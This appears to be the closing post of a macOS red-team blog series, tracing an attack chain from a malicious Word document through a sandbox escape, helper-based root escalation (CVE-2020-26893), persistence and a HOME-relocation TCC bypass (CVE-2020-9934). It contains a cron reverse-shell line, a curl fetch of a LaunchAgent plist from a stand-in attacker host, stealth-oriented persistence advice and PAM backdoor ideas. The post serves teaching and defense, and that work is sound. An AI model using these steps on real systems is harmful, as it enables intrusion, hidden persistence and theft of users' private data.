Every previous post in this series isolated one primitive: a sandbox escape, an XPC privilege escalation, a TCC bypass, a persistence trick. A real engagement does not hand you them one at a time. It hands you a single foothold, usually a phishing payload inside a sandboxed application, and the job is to chain primitives until you have root, persistence, and the data you came for.

This final post walks that chain end to end: land inside sandboxed Microsoft Word, break out of the sandbox, survey the host, escalate through a vulnerable helper (CVE-2020-26893), establish persistence that does not trip the alarms, and finish with a TCC bypass (CVE-2020-9934) that pries open the user’s private data. It is less about new techniques than about how the old ones compose, and where the seams between them are.

Landing in the Jail

The foothold is a malicious Office document. The user opens it, your macro or payload runs, and runs inside Word’s sandbox. The first thing any operator should do is confirm the cage they are in:

# filename: enumerate-foothold.txt
% codesign -dv --entitlements :- /Applications/Microsoft\ Word.app   # app-sandbox = true
% ls /Applications                                                   # what else is here?

Word is sandboxed (App Store-style confinement), so directly writing to /Library/LaunchAgents or most useful locations fails. You have code execution and almost no reach. This is the situation the sandbox post described from the outside; now you are living in it.

Prison Break

The escape reuses the sandbox post’s lesson: do not break the cage, relocate your code to a process the cage does not contain. Word’s profile permits writing into a couple of _HOME-relative locations, ~/Library/Application Scripts and the like, and a known Word sandbox escape leverages the ability to create Login Items from within the sandbox. You drop a file that an unsandboxed system component (launchd, via the login-items mechanism) later parses and executes. That component is not sandboxed and will happily run the contents you planted.

# filename: prison-break.txt
# Drop a payload where an unsandboxed launchd-driven component will execute it.
# When it runs, the new process is NOT under Word's sandbox.
% ls $TMPDIR                       # confirm we can see beyond the container now
clamd3.socket   com.apple.launchd.* powerlog

The moment the planted payload runs outside the container, your shell is unsandboxed. The escape was patched (around macOS 10.15.3), and that is itself a lesson worth internalizing: when you do not have a fresh kernel exploit, public, patched escapes are still gold on under-updated targets, and finding the right one is “a few Google searches.”

Surveying the Host

Unsandboxed but unprivileged, you enumerate for the next lever. The pattern is to find software that is not sandboxed and does something privileged:

# filename: survey.txt
% ls /Applications        # iTerm, ClamXAV antivirus, ...
% codesign -dv --entitlements :- /Applications/iTerm.app   # no app-sandbox -> not sandboxed
% find / -perm -4000 -type f 2>/dev/null                   # setuid root binaries
-rwsr-xr-x  root  wheel  /usr/bin/crontab
-r-s--x--x  root  wheel  /usr/bin/sudo
-rwsr-xr-x  root  wheel  /usr/bin/su

iTerm not carrying com.apple.security.app-sandbox is worth investigating: an unsandboxed terminal is a comfortable place to operate. The setuid list and the installed third-party software are the escalation surface. Antivirus and management agents are especially promising: they ship privileged helpers, and the XPC post already taught what those helpers tend to get wrong.

I Am (g)root: CVE-2020-26893

Escalation comes through a vulnerable privileged helper: the exact bug class from the XPC post, now in context. The methodology is the one established earlier: identify the privileged helper, recover its protocol, connect to it, and check whether it verifies the caller and what privileged functionality it exposes. CVE-2020-26893 is a helper that offers functionality an unprivileged process can drive to escalate, because the privileged action is reachable without adequate authorization of who is asking.

The point of putting it here, at the end, is that the XPC post’s abstract “find a helper that doesn’t check its caller” becomes a concrete rung on a real ladder. You did not need a kernel 0-day. You needed an application vendor’s helper tool to trust you, and one did. Now you are root.

Persisting Before You Lose It

Root is fragile; the shell dies when the process does. Persistence is urgent, and macOS offers several mechanisms, but they are not equally quiet, and choosing the loud one burns the engagement.

Cron works (macOS supports it) but is noisy in a specific way:

# filename: cron-persist.txt
% echo '* * * * * <python reverse shell one-liner>' | crontab -

Editing the crontab triggers a TCC consent prompt: crontab touches a protected location and the user sees a dialog. On a live target that pops a permission request, which is exactly the kind of thing that gets you caught. Technically functional, operationally reckless.

A launchd agent achieves the same persistence without the prompt:

# filename: launchd-persist.txt
% cd ~/Library/LaunchAgents
% curl -o com.persist.user.plist http://attacker/com.persist.user.plist
% launchctl load com.persist.user.plist     # and because we're outside the sandbox,
                                             # we can load it ourselves, no login needed

Dropping a plist in ~/Library/LaunchAgents does not raise the alert cron does, and since you are already unsandboxed you can launchctl load it immediately rather than waiting for a login.

Periodic scripts are the root-level option. macOS runs maintenance scripts from /etc/periodic/ (daily/weekly/monthly), launched by com.apple.periodic-* LaunchDaemons as root, and crucially they are not SIP-protected:

# filename: periodic-persist.txt
% ls /etc/periodic/daily      # 110.clean-tmps ... 999.local  (all root-owned, root-run, not SIP)

With root you can append to one of these and earn recurring root execution. The catch: a script you create as a standard user will not run as root, ownership matters, so this is a persistence mechanism for after you have root, not a path to it.

PAM modules round out the options: macOS uses Pluggable Authentication Modules (/etc/pam.d/), and a malicious module hooks into the authentication flow itself: a powerful, stealthy foothold for capturing credentials or backdooring sudo/login, again predicated on already having the privilege to write there.

The persistence lesson is not “here are five techniques,” it is “techniques differ by noise and by prerequisite.” Cron persists but prompts; a launchd agent persists quietly at user level; periodic scripts and PAM persist at root but require root first. Picking the mechanism that matches your privilege and your stealth budget is the actual skill.

The Core: CVE-2020-9934 (HOME Relocation)

The engagement’s objective is usually the user’s private data, and that is gated by TCC. The chain closes with a TCC bypass (CVE-2020-9934, the HOME relocation bug) that is a perfect coda because it is conceptually tiny and devastating.

The user-level tccd locates the per-user consent database relative to the HOME environment variable: $HOME/Library/Application Support/com.apple.TCC/TCC.db. If you can influence HOME before tccd reads it, you point it at a TCC.db you prepared, full of grants you wrote. TCC then enforces your database. You do not bypass the check; you replace the data the check consults: the same identity-and-trust theme as the TCC post, now reduced to “control one environment variable.”

This is the cleanest illustration of the series’ through-line: a security control is only as strong as the integrity of the inputs it trusts, and a privileged-enough attacker can usually corrupt one of those inputs: a path, an identity, a database location, an environment variable.

Why This Matters

A macOS engagement is the composition, not the parts. The chain here used the sandbox post to understand the cage, a public escape to leave it, the binary-analysis toolkit to survey, the XPC post’s bug class to escalate, the persistence mechanisms to stay, and a TCC bypass to take the data, and not one step required a novel kernel exploit. That is the realistic shape of macOS offense: foothold in a sandboxed app, escape via a known-but-unpatched bug, escalate through a third-party helper that trusts the wrong caller, persist quietly, and bypass privacy controls by corrupting what they trust.

The defensive mirror is just as clear. Each link broke at a seam between controls: the sandbox held, but a permissive escape relocated execution past it. The helper ran as root, but did not verify its caller. TCC enforced faithfully, but read a database an attacker could relocate. Defense is not about any single control being strong; it is about the seams between them, because that is where every chain in this series, and every real attack, actually runs.

That closes the series. Twelve posts from “what is a Mach-O” to a full root-and-persist chain. The specific CVEs are patched; the patterns (trust the wrong identity, verify in the wrong place, relocate code past a boundary, corrupt the input a check reads) are not going anywhere.

References

  1. MITRE. CVE-2020-26893, CVE-2020-9934 (HOME relocation TCC bypass).
  2. Wollnik, M. Sudo: Escalating on macOS. Jamf, 2021.
  3. Apple. periodic(8), pam.d, launchd.plist(5). macOS man pages.